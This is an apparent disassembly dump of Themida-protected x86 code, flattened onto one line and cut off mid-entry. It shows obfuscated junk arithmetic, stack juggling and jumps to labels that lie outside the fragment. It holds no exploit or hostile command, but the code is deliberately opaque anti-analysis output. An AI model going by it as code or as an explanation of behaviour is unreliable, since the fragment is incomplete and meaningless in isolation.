--------------------------------------------------------------------------- loc_56B643: ; CODE XREF: sub_562ABA+C8ABj push edx mov edx, 59CA4FC7h xor edx, 4A517265h jmp loc_564903 ; --------------------------------------------------------------------------- loc_56B654: ; CODE XREF: sub_562ABA+8946j mov edx, 1196098Fh shr edx, 5 jmp loc_56E3CB ; --------------------------------------------------------------------------- loc_56B661: ; CODE XREF: sub_562ABA+6519j mov esp, [esp+6+var_8+2] push ecx pop edx push [esp+6+var_8+2] pop ecx push edx jmp loc_55E1B2 ; --------------------------------------------------------------------------- loc_56B670: ; CODE XREF: sub_562ABA+629Ej add eax, esi jmp loc_56C915 ; --------------------------------------------------------------------------- loc_56B677: ; CODE XREF: sub_562ABA+4F63j pop [esp+42h+var_42] pop esp shr ebx, 2 sub esp, 4 jmp loc_56F672 ; --------------------------------------------------------------------------- loc_56B689: ; CODE XREF: sub_562ABA-664j add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_5646A4 ; --------------------------------------------------------------------------- loc_56B69D: ; CODE XREF: sub_562ABA+8EF4j mov cl, bh push eax push edx mov dl, cl mov ah, dl pop edx mov dl, ah pop eax mov ecx, [esp+2Ah+var_2C+2] jmp loc_55EBE0 ; --------------------------------------------------------------------------- loc_56B6B1: ; CODE XREF: sub_562ABA-30DFj add esp, 4 add esi, 92567h push edi mov edi, 7D08343Ch sub esi, edi pop edi add esi, edx add esi, 7D08343Ch sub esi, 92567h push [esp+2+var_4+2] pop edx push esi mov esi, esp add esi, 4 add esi, 4 push esi push [esp+0Ah+var_8+2] pop esi pop [esp+0Ah+var_C+2] mov esp, [esp+6+var_8+2] push ebx mov ebx, 445F5FE7h add ebx, 6C804529h not ebx xor ebx, 4F205AEDh add esi, ebx jmp loc_5726D9 ; --------------------------------------------------------------------------- loc_56B70B: ; CODE XREF: sub_562ABA+E4C4j push 3177h mov [esp+0], edx mov edx, esp sub esp, 4 mov [esp+12h+var_12], eax push 0B08h mov [esp+16h+var_16], edi push 19DA4442h pop edi jmp loc_56D5F1 ; --------------------------------------------------------------------------- loc_56B72E: ; CODE XREF: sub_562ABA+1669j dec eax and eax, 29065E10h push ebp mov ebp, 1E0957DEh push ecx mov ecx, 7CF7D28h jmp loc_570987 ; --------------------------------------------------------------------------- loc_56B745: ; CODE XREF: sub_562ABA+D86Aj sub esp, 4 mov [esp+32h+var_32], ebx push 971h mov [esp+36h+var_36], eax push ebp push edx mov edx, 4AE11C82h add edx, 2D916BBh neg edx shl edx, 2 add edx, 0E286D1Eh add edx, 29ABBE74h jmp loc_56FAD0 ; --------------------------------------------------------------------------- loc_56B779: ; CODE XREF: sub_562ABA+105Dj sub ebx, 1A8116B0h mov eax, [esp+4Ch+var_4E+2] push edi mov edi, esp jmp loc_56B129 ; --------------------------------------------------------------------------- loc_56B78A: ; CODE XREF: sub_562ABA+292Ej add eax, 45350E42h add eax, ebx sub eax, 45350E42h sub esp, 4 mov [esp+6+var_8+2], esi jmp loc_5654E7 ; --------------------------------------------------------------------------- loc_56B7A1: ; CODE XREF: sub_562ABA+917Cj sub ebx, 462FA05Ch mov edx, ebx mov ebx, [esp+6+var_8+2] add esp, 4 add eax, edx mov edx, [esp+2+var_4+2] add esp, 4 add eax, 4 jmp loc_56A7EF ; --------------------------------------------------------------------------- loc_56B7C4: ; CODE XREF: sub_562ABA+5EECj mov [esp+12h+var_12], esp add [esp+12h+var_12], 4 push [esp+12h+var_12] pop ebx add esp, 4 jmp loc_562FC1 ; --------------------------------------------------------------------------- loc_56B7DA: ; CODE XREF: sub_562ABA+E1DCj mov [esp+0], ebx jmp loc_57084D ; --------------------------------------------------------------------------- loc_56B7E2: ; CODE XREF: sub_562ABA+D936j push eax jmp loc_55F86D ; --------------------------------------------------------------------------- loc_56B7E8: ; CODE XREF: sub_55FCA5+1192j pop ecx shl dl, 2 add dl, 0Ch jmp loc_55E18A ; --------------------------------------------------------------------------- loc_56B7F4: ; CODE XREF: sub_562ABA+33A3j add eax, 1B554998h add eax, 683E3262h sub eax, ebp push ebp mov ebp, 683E3262h sub eax, ebp pop ebp push ebx jmp loc_56718C ; --------------------------------------------------------------------------- loc_56B80F: ; CODE XREF: sub_562ABA+CC6j add ecx, 4 xchg ecx, [esp+32h+var_32] jmp loc_55F0C9 ; --------------------------------------------------------------------------- loc_56B81A: ; CODE XREF: sub_562ABA+2106j push 28BDh mov [esp+16h+var_16], eax push esp mov eax, [esp+1Ah+var_1A] add esp, 4 jmp loc_56442E ; --------------------------------------------------------------------------- loc_56B831: ; CODE XREF: sub_55FCA5+360j pop ebx xor al, 99h mov ch, 0F5h xor ch, al push [esp+12h+var_12] pop eax push 7953h mov [esp+16h+var_16], ecx mov ecx, esp jmp loc_56E4A4 ; --------------------------------------------------------------------------- loc_56B84B: ; CODE XREF: sub_562ABA+8631j mov [esp+4+var_4], esi mov esi, 2 add edx, 7B0B53C5h jmp loc_560075 ; --------------------------------------------------------------------------- loc_56B85E: ; CODE XREF: sub_562ABA+48A4j or bx, 883h sub bx, 3227h or bx, 1A42h push esi push ebx mov bx, 2931h shl bx, 7 jmp loc_56752A ; --------------------------------------------------------------------------- loc_56B87C: ; CODE XREF: sub_55FCA5+2CDj add esp, 4 add ecx, 4 add ecx, 4 xor ecx, [esp+34h+var_36+2] xor [esp+34h+var_36+2], ecx xor ecx, [esp+34h+var_36+2] mov esp, [esp+34h+var_36+2] jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56B89F: ; CODE XREF: sub_562ABA+CB0Fj pop esp shl byte ptr [esp+30h+var_32+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56B8A9: ; CODE XREF: sub_562ABA+DD7Bj mov esp, [esp+34h+var_36+2] push 4CEEh mov [esp+38h+var_3A+2], edi jmp loc_563925 ; --------------------------------------------------------------------------- loc_56B8B9: ; CODE XREF: sub_562ABA-41E1j mov [esp+4+var_4], edx jmp loc_566F4E ; --------------------------------------------------------------------------- loc_56B8C1: ; CODE XREF: sub_562ABA+3CE7j push ebp mov ebp, 4 add eax, ebp mov ebp, [esp+36h+var_36] jmp loc_55F6ED ; --------------------------------------------------------------------------- loc_56B8D1: ; CODE XREF: sub_562ABA+E62Fj inc edi neg edi jmp loc_5658C6 ; --------------------------------------------------------------------------- loc_56B8D9: ; CODE XREF: sub_562ABA-2FCAj shl ah, 2 add ah, 0FFh sub ah, 0CCh sub bl, 43h sub bl, ah add bl, 43h mov eax, [esp+0] push eax mov eax, esp jmp loc_55E638 ; --------------------------------------------------------------------------- loc_56B8F5: ; CODE XREF: Themida_:0055F68Dj mov [esp+12h+var_12], eax sub esp, 4 jmp loc_562E54 ; --------------------------------------------------------------------------- loc_56B900: ; CODE XREF: sub_562ABA+FD0Dj mov edi, 2 sub ebx, edi pop edi xchg ebx, [esp+12h+var_12] pop esp mov [esp+0], cx jmp loc_572930 ; --------------------------------------------------------------------------- loc_56B915: ; CODE XREF: sub_562ABA-7Fj add esp, 4 sub ebp, 6F5B7FC9h mov edx, [esp+22h+var_22] add esp, 4 jmp loc_56DC3E ; --------------------------------------------------------------------------- loc_56B92C: ; CODE XREF: sub_562ABA+F045j add ebp, 4 push ebp jmp loc_56AD17 ; --------------------------------------------------------------------------- loc_56B938: ; CODE XREF: sub_562ABA+743j sub edi, 64D1026Bh sub eax, edi pop edi pop ebp push ecx push esi mov esi, esp push 0FCEh jmp loc_56BF6E ; --------------------------------------------------------------------------- loc_56B950: ; CODE XREF: sub_562ABA+85F8j pop ecx push ebx mov ebx, 49B875D0h or ebx, 379D529Ch shl ebx, 5 xor ebx, 8A92A5D0h add edx, ebx pop ebx add edx, eax push edi mov edi, 58D1181Ah and edi, 78954F76h not edi inc edi not edi sub edi, 0DB54A9C1h sub edx, edi pop edi jmp loc_56186A ; --------------------------------------------------------------------------- loc_56B98A: ; CODE XREF: sub_562ABA-2FDBj mov [esp+12h+var_12], ecx push edi mov edi, 1B1B059Ah jmp loc_56A529 ; --------------------------------------------------------------------------- loc_56B998: ; CODE XREF: sub_562ABA+96CAj add ecx, 4 add ecx, 4 xchg ecx, [esp+16h+var_16] pop esp sub esp, 4 mov [esp+16h+var_16], ecx jmp loc_56B69D ; --------------------------------------------------------------------------- loc_56B9B3: ; CODE XREF: sub_562ABA+E4B9j xor ebx, 39478DACh jmp loc_560875 ; --------------------------------------------------------------------------- loc_56B9BE: ; CODE XREF: sub_562ABA+995Ej pop ebx push edi mov edi, esp push ebp mov ebp, 4C023725h not ebp add ebp, 4C02372Ah add edi, ebp pop ebp add edi, 4 jmp loc_55E192 ; --------------------------------------------------------------------------- loc_56B9DB: ; CODE XREF: sub_562ABA+6510j push edi mov edi, esp jmp loc_56C007 ; --------------------------------------------------------------------------- loc_56B9E3: ; CODE XREF: sub_562ABA+7BCDj push 76736A75h pop esi shr esi, 2 xor esi, 1D9CDA9Ch jmp loc_56D116 ; --------------------------------------------------------------------------- loc_56B9F7: ; CODE XREF: sub_562ABA+4BAFj mov [esp+3Ah+var_3A], esi push ebp jmp loc_5623B2 ; --------------------------------------------------------------------------- loc_56BA00: ; CODE XREF: sub_562ABA+291Ej and ebx, edx jmp loc_55FFAA ; --------------------------------------------------------------------------- loc_56BA07: ; CODE XREF: sub_562ABA+A962j sub esp, 4 jmp loc_56B18A ; --------------------------------------------------------------------------- loc_56BA0F: ; CODE XREF: sub_562ABA-4609j xchg ebx, [esp+1Ah+var_1A] pop esp pop ecx push 1A72h mov [esp+16h+var_16], ebp jmp loc_56768C ; --------------------------------------------------------------------------- loc_56BA21: ; CODE XREF: sub_562ABA+FC1Aj sub edi, 7FCB2BABh jmp loc_56975E ; --------------------------------------------------------------------------- loc_56BA2C: ; CODE XREF: sub_572714+1Ej shl edx, 5 xor edx, 72B95864h sub edi, 1464518Ah jmp sub_56112E ; --------------------------------------------------------------------------- loc_56BA40: ; CODE XREF: Themida_:0055E5BDj push edx mov edx, 4653AA2h mov ebx, 6E9E7CA3h sub ebx, edx pop edx add ebx, 0FFFFFFFFh dec ebx inc ebx xor ebx, 30C75CECh add ebx, 18D7312h xor ebx, 5C8B91FAh add esi, ebx mov ebx, [esp+16h+var_16] jmp loc_5662AA ; --------------------------------------------------------------------------- loc_56BA6F: ; CODE XREF: sub_562ABA+BFE5j xor dl, cl mov ecx, [esp+16h+var_16] add esp, 4 xor al, dl push [esp+12h+var_12] jmp loc_56CF37 ; --------------------------------------------------------------------------- loc_56BA84: ; CODE XREF: sub_562ABA+210Cj mov eax, 2D3319B0h add edx, eax jmp loc_5666C0 ; --------------------------------------------------------------------------- loc_56BA90: ; CODE XREF: sub_562ABA+B6CAj sub esp, 4 mov [esp+1Ah+var_1A], eax push ebx mov ebx, 599D3448h or ebx, 38BF00C5h add ebx, 554411C1h or ebx, 0CD27BDh or ebx, 73FD5E23h jmp loc_569C11 ; --------------------------------------------------------------------------- loc_56BAB9: ; CODE XREF: sub_562ABA-11B6j xor dh, 0B9h jmp loc_5673AE ; --------------------------------------------------------------------------- loc_56BAC1: ; CODE XREF: sub_562ABA+8A2Aj pop edx push esi mov esi, 4 add ecx, esi jmp loc_56A2F7 ; --------------------------------------------------------------------------- loc_56BACF: ; CODE XREF: sub_562ABA-7BFj add ecx, 50FC3273h jmp loc_5625CC ; --------------------------------------------------------------------------- loc_56BADA: ; CODE XREF: sub_562ABA-14D5j mov [esp-0Eh+arg_8+2], ebx jmp loc_56087C ; --------------------------------------------------------------------------- loc_56BAE2: ; CODE XREF: sub_562ABA+DBj mov ecx, edx push dword ptr [esp+0] mov edx, [esp+12h+var_12] add esp, 4 add esp, 4 sub edx, 443C2C93h add edx, ecx push ebp jmp loc_560F4E ; --------------------------------------------------------------------------- loc_56BB04: ; CODE XREF: sub_55FCA5+278j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+12h+var_12] pop esp add esi, 4 xor esi, [esp+0] xor [esp+0], esi xor esi, [esp+0] mov esp, [esp+0] movsx ecx, al push 2380h mov [esp+12h+var_12], ecx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56BB39: ; CODE XREF: sub_562ABA+68Aj add edi, 37AA780Ch sub edi, 5A44612Eh jmp loc_572584 ; --------------------------------------------------------------------------- loc_56BB4A: ; CODE XREF: sub_562ABA+732Ej mov ebp, 586F2ADCh jmp loc_5652D8 ; --------------------------------------------------------------------------- loc_56BB54: ; CODE XREF: sub_562ABA-447Dj add eax, 4 xchg eax, [esp+4Ah+var_4A] pop esp pop ecx movzx eax, al jmp loc_562D85 ; --------------------------------------------------------------------------- loc_56BB66: ; CODE XREF: sub_562ABA+C246j pop eax pop ebp mov ebx, [esp+3Ah+var_3A] sub esp, 4 mov [esp+3Eh+var_3E], ebp push 7C09h mov [esp+42h+var_42], esp add [esp+42h+var_42], 4 push [esp+42h+var_42] jmp loc_57025D ; --------------------------------------------------------------------------- loc_56BB8B: ; CODE XREF: sub_562ABA+831Ej mov [esp+1Ah+var_1A], ecx push ebx jmp loc_56E0E5 ; --------------------------------------------------------------------------- loc_56BB94: ; CODE XREF: sub_562ABA-1CFAj sub esi, 1D237EDFh push [esp+32h+var_32] pop ebx push 2915h mov [esp+36h+var_36], eax push 1A19h mov [esp+3Ah+var_3A], esp add [esp+3Ah+var_3A], 4 pop eax push ebp push ebx jmp loc_560A2C ; --------------------------------------------------------------------------- loc_56BBBA: ; CODE XREF: sub_562ABA+B218j add cl, ah mov eax, [esp+3Eh+var_3E] push edi jmp loc_56920D ; --------------------------------------------------------------------------- loc_56BBC5: ; CODE XREF: sub_562ABA-4526j pop esp add ecx, 3CA11F9Bh jmp loc_56784E ; --------------------------------------------------------------------------- loc_56BBD1: ; CODE XREF: sub_562ABA-3E80j push ax push ecx mov cl, 2 mov ah, 2Ch jmp loc_56AACF ; --------------------------------------------------------------------------- loc_56BBDD: ; CODE XREF: sub_562ABA-3E9Ej inc eax jmp loc_56366F ; --------------------------------------------------------------------------- loc_56BBE3: ; CODE XREF: sub_562ABA+47A7j add esp, 4 sub ebp, 4 xor ebp, [esp+1Ah+var_1A] xor [esp+1Ah+var_1A], ebp xor ebp, [esp+1Ah+var_1A] mov esp, [esp+1Ah+var_1A] mov [esp+1Ah+var_1A], ecx jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56BBFD: ; CODE XREF: sub_562ABA+DD6Dj xchg edx, [esp+1Ah+var_1A] pop esp xchg eax, [esp+16h+var_16] mov esp, [esp+16h+var_16] sar [esp+16h+var_16], cl pushf jmp loc_5709D2 ; --------------------------------------------------------------------------- dd 5C240C87h, 83240489h, 0E4E904ECh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56BC1F: ; CODE XREF: sub_562ABA+D943j sub ebx, 63D646DDh push edi mov edi, 47EE4D1Fh add ebx, edi mov edi, [esp+1Eh+var_1E] add esp, 4 shl ebx, 5 jmp loc_56B7A1 ; --------------------------------------------------------------------------- loc_56BC3B: ; CODE XREF: sub_562ABA+B98Cj pop esi and ecx, 4E9C2FD8h sub ecx, 0D8C1908h inc ecx jmp loc_56A073 ; --------------------------------------------------------------------------- loc_56BC4E: ; CODE XREF: sub_55FCA5+373j pop esi jmp loc_56C8C9 ; --------------------------------------------------------------------------- loc_56BC54: ; CODE XREF: sub_562ABA+B502j inc ebx xor ebx, 732D517Ah jmp loc_564279 ; --------------------------------------------------------------------------- loc_56BC60: ; CODE XREF: sub_562ABA+148Fj mov edi, 48F85CACh add ebp, edi pop edi add ebp, ebx jmp loc_56AE64 ; --------------------------------------------------------------------------- loc_56BC6F: ; CODE XREF: sub_562ABA+121Fj mov ebp, [esp+16h+var_16] add esp, 4 add esp, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] pop esp jmp loc_5630DC ; --------------------------------------------------------------------------- loc_56BC8D: ; CODE XREF: sub_562ABA+1D21j mov edi, 343F5CFBh sub edi, 96D5F9Dh add edi, 2B3816AEh neg edi add edi, 63087A06h add edi, 3DE89EFBh shl edi, 5 push edx mov edx, 310613BBh and edi, edx pop edx add edi, 0FFFFFFFFh jmp loc_562831 ; --------------------------------------------------------------------------- loc_56BCC3: ; CODE XREF: sub_562ABA+6962j xor edx, [esp-10h+arg_C] pop esp xor bx, ax jmp loc_55EECD ; --------------------------------------------------------------------------- loc_56BCCF: ; CODE XREF: sub_562ABA+2338j mov esi, [esp+36h+var_36] add esp, 4 jmp loc_569482 ; --------------------------------------------------------------------------- loc_56BCDA: ; CODE XREF: sub_562ABA-14DFj xchg ebx, [esp-12h+arg_C+2] jmp loc_57122C ; --------------------------------------------------------------------------- loc_56BCE2: ; CODE XREF: sub_562ABA+5E9Fj dec word ptr [esp+0] pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56BCEC: ; CODE XREF: sub_562ABA+BD76j xor ebp, 201E9419h mov eax, ebp mov ebp, [esp+12h+var_12] add esp, 4 add esi, eax pop eax push 0 jmp loc_569CCE ; --------------------------------------------------------------------------- loc_56BD0A: ; CODE XREF: sub_55FCA5+459j add esp, 4 jmp loc_56FA71 ; --------------------------------------------------------------------------- loc_56BD15: ; CODE XREF: sub_562ABA+F52Bj not edi add edi, 0E037BAB1h sub esi, 595C2266h sub esi, edi add esi, 595C2266h pop edi add edx, esi pop esi add ebx, 5374E52h sub ebx, edx sub ebx, 5374E52h mov edx, [esp+2+var_4+2] add esp, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] jmp loc_56A259 ; --------------------------------------------------------------------------- loc_56BD54: ; CODE XREF: sub_562ABA+11EBj xor edx, 173F0F38h add [esp+4], edx push [esp+32h+var_32] pop edx add esp, 4 sub dword ptr [esp+0], 6F736DD0h jmp loc_5663A8 ; --------------------------------------------------------------------------- loc_56BD71: ; CODE XREF: sub_562ABA-1D0Fj xchg eax, [esp+36h+var_36] pop esp push esi mov esi, 13D01284h or esi, 716877A1h shl esi, 5 shl esi, 7 dec esi and esi, 3DC23BC3h xor esi, 5420BC7h add ebx, esi push [esp+36h+var_36] jmp loc_56E420 ; --------------------------------------------------------------------------- loc_56BD9E: ; CODE XREF: sub_562ABA-3807j mov ebx, 0EE41C5D1h jmp loc_56B324 ; --------------------------------------------------------------------------- loc_56BDA8: ; CODE XREF: sub_562ABA-3167j add [esp+0Ah+var_8+2], ecx add [esp+0Ah+var_8+2], 52C3233Ah add [esp+0Ah+var_8+2], 491013F9h add [esp+0Ah+var_8+2], 7D180B30h mov ecx, [esp+0Ah+var_C+2] jmp loc_56009C ; --------------------------------------------------------------------------- loc_56BDCC: ; CODE XREF: sub_562ABA-3672j xor eax, 10C67AF4h jmp loc_55FB72 ; --------------------------------------------------------------------------- loc_56BDD6: ; CODE XREF: sub_562ABA+C3D7j mov esp, [esp+22h+var_22] push 3B34h mov [esp+26h+var_28+2], ecx push ebx mov bh, dl sub esp, 4 mov [esp+0], edx mov dl, bh sub esp, 4 mov [esp+32h+var_32], eax mov al, dl mov ch, al pop eax pop edx mov ebx, [esp+2Ah+var_2C+2] push ecx push esp pop ecx push 1BFBh jmp loc_572ADB ; --------------------------------------------------------------------------- loc_56BE0B: ; CODE XREF: sub_562ABA+BDD0j sub edx, 7F5C42CBh add edx, eax add edx, 7F5C42CBh pop eax xor edx, [esp] jmp loc_56077A ; --------------------------------------------------------------------------- loc_56BE22: ; CODE XREF: sub_562ABA+B829j push eax push ebx push [esp+36h+var_36] pop eax push 4288h mov [esp+3Ah+var_3A], edi jmp loc_567AD9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl [esp+38h+var_3A+2], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56BE44: ; CODE XREF: sub_562ABA+75C5j mov esp, [esp+26h+var_28+2] mov [esp+26h+var_28+2], esi push 7ABAh mov [esp+2Ah+var_2C+2], edx mov edx, 63A95A1Eh mov esi, 0CA90CFDAh jmp loc_56A907 ; --------------------------------------------------------------------------- loc_56BE61: ; CODE XREF: sub_562ABA+F301j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] jmp loc_56DEE9 ; --------------------------------------------------------------------------- loc_56BE78: ; CODE XREF: sub_562ABA+11D7j push edx push 254Ah jmp loc_560E67 ; --------------------------------------------------------------------------- loc_56BE83: ; CODE XREF: sub_562ABA+E366j mov [esp+46h+var_46], ebx jmp loc_565438 ; --------------------------------------------------------------------------- loc_56BE8B: ; CODE XREF: sub_562ABA+152Bj mov [esp+3Ah+var_3A], ebp jmp loc_5626C1 ; --------------------------------------------------------------------------- loc_56BE93: ; CODE XREF: sub_562ABA+2071j sub esp, 4 mov [esp+48h+var_4A+2], edi push [esp+48h+var_46+2] jmp loc_561A00 ; --------------------------------------------------------------------------- loc_56BEA2: ; CODE XREF: sub_562ABA-21A9j sub eax, edi mov edi, [esp+32h+var_32] add esp, 4 jmp loc_569982 ; --------------------------------------------------------------------------- loc_56BEAF: ; CODE XREF: sub_562ABA+70EFj mov edi, [esp+10h+var_12+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+14h+var_16+2] pop esp and eax, ebx pop ebx jmp loc_569AB0 ; --------------------------------------------------------------------------- loc_56BECB: ; CODE XREF: sub_562ABA+7A5j mov ebp, edi mov edi, [esp+32h+var_32] add esp, 4 sub ebx, ebp jmp loc_56EDD4 ; --------------------------------------------------------------------------- loc_56BEDD: ; CODE XREF: sub_562ABA+828Bj mov edx, [esp+32h+var_32] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+36h+var_36] pop esp push 13A9h mov [esp+36h+var_36], eax push [esp+36h+var_32] mov eax, [esp+3Ah+var_3A] add esp, 4 jmp loc_56757A ; --------------------------------------------------------------------------- loc_56BF0A: ; CODE XREF: sub_562ABA-1D86j xor [esp-6+arg_0+2], esi jmp loc_562230 ; --------------------------------------------------------------------------- loc_56BF12: ; CODE XREF: sub_562ABA-2325j or ah, 0FCh shr ah, 4 add ah, 0FFh xor ah, 0CBh and ch, ah pop eax shl ch, 8 dec ch add ch, 0C0h xor al, ch mov cx, word ptr [esp+36h+var_36] push ebx jmp loc_56CD01 ; --------------------------------------------------------------------------- loc_56BF35: ; CODE XREF: sub_562ABA-35E9j mov ebp, 5B1D70CBh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_565ECE ; --------------------------------------------------------------------------- loc_56BF4B: ; CODE XREF: sub_562ABA+430Ej add dh, 0EBh xor dh, 99h jmp loc_566197 ; --------------------------------------------------------------------------- loc_56BF56: ; CODE XREF: sub_55FCA5+338j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+22h+var_22] pop esp jmp loc_56E582 ; --------------------------------------------------------------------------- loc_56BF6E: ; CODE XREF: sub_562ABA+8E91j mov [esp+10h+var_12+2], edx mov edx, 4 jmp loc_56A22C ; --------------------------------------------------------------------------- loc_56BF7B: ; CODE XREF: sub_562ABA+F8EAj push ebx mov ebx, 4 sub edi, ebx pop ebx jmp loc_55FBE4 ; --------------------------------------------------------------------------- loc_56BF89: ; CODE XREF: Themida_:0055F3D2j push 711Ah jmp loc_5624C2 ; --------------------------------------------------------------------------- loc_56BF93: ; CODE XREF: sub_562ABA+7400j add eax, 14DF0493h push [esp-0Eh+arg_8+2] pop esi add esp, 4 sub ebp, eax pop eax jmp loc_56A108 ; --------------------------------------------------------------------------- loc_56BFAA: ; CODE XREF: sub_562ABA+1E5Bj push eax push ecx mov ecx, 76B5633Bh mov eax, ecx pop ecx and eax, 37A12354h xor eax, 5BD17CDEh add ecx, 67EC265Bh add ecx, eax sub ecx, 67EC265Bh jmp loc_56CCD2 ; --------------------------------------------------------------------------- loc_56BFD1: ; CODE XREF: sub_562ABA-3D62j pop eax sub esp, 4 mov [esp+1Ah+var_1A], edi push [esp+1Ah+var_16] jmp loc_56C5D5 ; --------------------------------------------------------------------------- loc_56BFE1: ; CODE XREF: Themida_:0055F1F0j push edi mov edi, 4 add eax, edi mov edi, [esp+22h+var_22] jmp loc_56D2F3 ; --------------------------------------------------------------------------- loc_56BFF1: ; CODE XREF: sub_562ABA-458Ej mov ecx, 66E717Ch push edx mov edx, 76171464h xor edx, 6EB70BA1h jmp loc_5659BB ; --------------------------------------------------------------------------- loc_56C007: ; CODE XREF: sub_562ABA+8F24j add edi, 4 sub edi, 4 jmp loc_571B4E ; --------------------------------------------------------------------------- loc_56C018: ; CODE XREF: sub_562ABA+DFD7j jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56C01D: ; CODE XREF: sub_562ABA+CDD7j push esi jmp loc_56F195 ; --------------------------------------------------------------------------- loc_56C023: ; CODE XREF: sub_562ABA+49B5j push ebx jmp loc_566F9C ; --------------------------------------------------------------------------- loc_56C029: ; CODE XREF: sub_562ABA+1866j push esi push edi push 60F86655h pop edi add edi, 0DF5BD85h jmp loc_56E4EA ; --------------------------------------------------------------------------- loc_56C03C: ; CODE XREF: sub_562ABA+62D4j mov edi, esp add edi, 4 add edi, 4 jmp loc_56B2FC ; --------------------------------------------------------------------------- loc_56C04F: ; CODE XREF: sub_562ABA+EF6Bj mov esi, 0FEB41A4h xor edx, esi jmp loc_56073C ; --------------------------------------------------------------------------- loc_56C05B: ; CODE XREF: sub_562ABA+BED9j add esp, 4 add ebp, 4 sub ebp, 4 push ebp push [esp+1Ah+var_16] jmp loc_55F89A ; --------------------------------------------------------------------------- loc_56C074: ; CODE XREF: sub_562ABA+111Cj sub eax, 969DA2B0h sub edx, eax jmp loc_5634E6 ; --------------------------------------------------------------------------- loc_56C080: ; CODE XREF: sub_562ABA+8010j add ecx, esi jmp loc_56EB7D ; --------------------------------------------------------------------------- loc_56C087: ; CODE XREF: sub_562ABA+EF3Dj add eax, 4 add eax, 4 xchg eax, [esp+16h+var_16] pop esp pop [esp+12h+var_12] mov esp, [esp+0] shl byte ptr [esp+0], cl pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56C0A2: ; CODE XREF: sub_562ABA+FBBDj pop edi jmp loc_56E501 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp+12h+var_12] jmp loc_56B0FE ; --------------------------------------------------------------------------- loc_56C0B3: ; CODE XREF: sub_562ABA+F58Bj add ebp, 22BD6928h sub ebp, 783F303Ch pop esi xchg ebp, [esp+0] mov esp, [esp+0] btr [esp+0], ax pushf jmp loc_55E09F ; --------------------------------------------------------------------------- loc_56C0D1: ; CODE XREF: sub_562ABA-4A08j mov al, 0BDh add al, 1 push bx mov bl, 6Ch sub al, bl pop bx neg al jmp loc_55EC65 ; --------------------------------------------------------------------------- loc_56C0E4: ; CODE XREF: sub_562ABA+14BEj mov al, cl jmp loc_56356F ; --------------------------------------------------------------------------- loc_56C0EB: ; CODE XREF: sub_562ABA+CE95j push edx mov edx, 4 add [esp+2Eh+var_2C+2], edx pop edx push [esp+2Ah+var_2C+2] push dword ptr [esp+0] pop esi jmp loc_56D1C3 ; --------------------------------------------------------------------------- loc_56C102: ; CODE XREF: sub_562ABA+2392j mov ecx, 346F3849h push esi mov esi, 2542660h inc esi inc esi add esi, 0DB641FF3h add ecx, esi pop esi add eax, ecx pop ecx pop ebp jmp $+5 add eax, ebp sub eax, 17890026h sub eax, 31EE3177h push [esp+22h+var_22] mov ebp, [esp+26h+var_28+2] add esp, 4 push eax jmp loc_56E9F0 ; --------------------------------------------------------------------------- loc_56C13F: ; CODE XREF: sub_562ABA+4888j add ecx, ebp mov ebp, [esp+32h+var_32] jmp loc_56FBB3 ; --------------------------------------------------------------------------- loc_56C149: ; CODE XREF: sub_562ABA+6DC0j mov eax, 6BAE2969h inc eax not eax push ebp mov ebp, 2D5B5A8Ah not ebp not ebp not ebp add ebp, 7C236426h sub eax, ebp pop ebp add eax, 0E62C76EEh xor ebp, eax pop eax push edi jmp loc_5708C1 ; --------------------------------------------------------------------------- loc_56C174: ; CODE XREF: sub_562ABA+9978j mov esi, 203E0D1Ah sub esp, 4 jmp loc_561BB8 ; --------------------------------------------------------------------------- loc_56C181: ; CODE XREF: sub_562ABA-1E9Aj push ecx mov ecx, esp jmp loc_56B998 ; --------------------------------------------------------------------------- loc_56C189: ; CODE XREF: sub_562ABA+79DFj pop eax pop [esp+32h+var_32] pop esp push 2D66h mov [esp+0], ebx push 50A2h mov [esp+32h+var_32], edx mov edx, 3B296C2Dh jmp loc_5652E9 ; --------------------------------------------------------------------------- loc_56C1A8: ; CODE XREF: sub_562ABA+52C9j sub esi, 54411E94h sub esi, 7A196FAAh add esi, eax add esi, 7A196FAAh add esi, 54411E94h push [esp+2+var_4+2] pop eax add esp, 4 sub esi, 456245h jmp loc_56372F ; --------------------------------------------------------------------------- loc_56C1D7: ; CODE XREF: sub_562ABA+A3AAj sub al, dl pop edx sub esp, 2 mov [esp+0], bx push eax jmp loc_56598C ; --------------------------------------------------------------------------- loc_56C1EA: ; CODE XREF: sub_562ABA+ACFFj mov esp, [esp+2+var_4+2] xor eax, [esp+2+var_4+2] xor [esp+2+var_4+2], eax xor eax, [esp+2+var_4+2] jmp loc_572480 ; --------------------------------------------------------------------------- loc_56C1FB: ; CODE XREF: sub_562ABA+DC27j xor [esp+2+var_4+2], esi jmp loc_56877C ; --------------------------------------------------------------------------- loc_56C203: ; CODE XREF: sub_562ABA+288Aj mov ah, 9Eh sub bl, ah mov eax, [esp+1Eh+var_1E] jmp loc_56C504 ; --------------------------------------------------------------------------- loc_56C20F: ; CODE XREF: sub_562ABA+F0EAj mov [esp+1Eh+var_1E], esi mov esi, 35A7304Bh push ebx jmp loc_565C69 ; --------------------------------------------------------------------------- loc_56C21D: ; CODE XREF: sub_562ABA+801Ej sub bh, ah push edx mov dl, 72h xor dl, 0A3h add dl, 0F3h add bh, dl jmp loc_562EF9 ; --------------------------------------------------------------------------- loc_56C22F: ; CODE 